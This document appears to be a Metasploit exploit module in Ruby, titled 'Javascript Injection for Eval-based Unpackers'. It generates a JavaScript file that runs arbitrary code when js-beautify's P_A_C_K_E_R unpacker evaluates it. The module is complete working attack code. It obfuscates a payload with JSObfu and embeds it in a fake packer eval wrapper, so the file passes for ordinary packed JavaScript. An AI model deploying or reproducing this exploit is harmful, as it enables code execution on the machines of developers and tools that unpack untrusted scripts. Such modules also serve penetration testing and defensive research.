Javascript Injection For Eval-Based Unpackers

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/jsobfu'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::JSObfu  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Javascript Injection for Eval-based Unpackers',  
'Description' => %q{  
This module generates a Javascript file that executes arbitrary code  
when an eval-based unpacker is run on it. Works against js-beautify's  
P_A_C_K_E_R unpacker.  
},  
'Author' => [ 'joev' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
],  
'Platform' => 'nodejs',  
'Arch' => ARCH_NODEJS,  
'Privileged' => false,  
'Targets' => [['Automatic', {}]],  
'DisclosureDate' => 'Feb 18 2015',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),  
OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])  
], self.class)  
end  
  
def exploit  
p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")  
end  
  
end  
`